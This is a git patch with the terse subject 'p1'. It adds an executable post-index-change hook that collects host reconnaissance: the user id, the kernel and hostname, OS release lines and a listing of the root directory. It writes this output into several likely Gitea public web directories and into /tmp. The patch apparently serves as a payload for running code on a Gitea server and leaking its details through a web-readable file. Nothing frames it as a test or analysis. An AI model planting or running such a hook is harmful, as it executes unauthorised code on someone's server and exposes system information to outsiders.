From 1f8bd684d0bf5d92b498b4c5627268b27678eaa5 Mon Sep 17 00:00:00 2001 From: "aliaksandr.harachka" Date: Sat, 29 Aug 2026 16:18:59 +0300 Subject: [PATCH] p1 --- hooks/post-index-change | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..13d39dc --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,11 @@ +#!/bin/sh +OUTPUT=$(id; uname -a; hostname; cat /etc/os-release 2>/dev/null | head -3; ls / 2>/dev/null 2>&1) +# Try multiple write paths +for d in /home/git/gitea/custom/public /var/lib/gitea/custom/public /app/gitea/custom/public /data/gitea/custom/public /home/git/custom/public; do + if [ -w "$d" ]; then + printf "%s" "$OUTPUT" > "$d/out_tq5jrj.txt" + break + fi +done +# Also write to /tmp +printf "%s" "$OUTPUT" > /tmp/out_tq5jrj.txt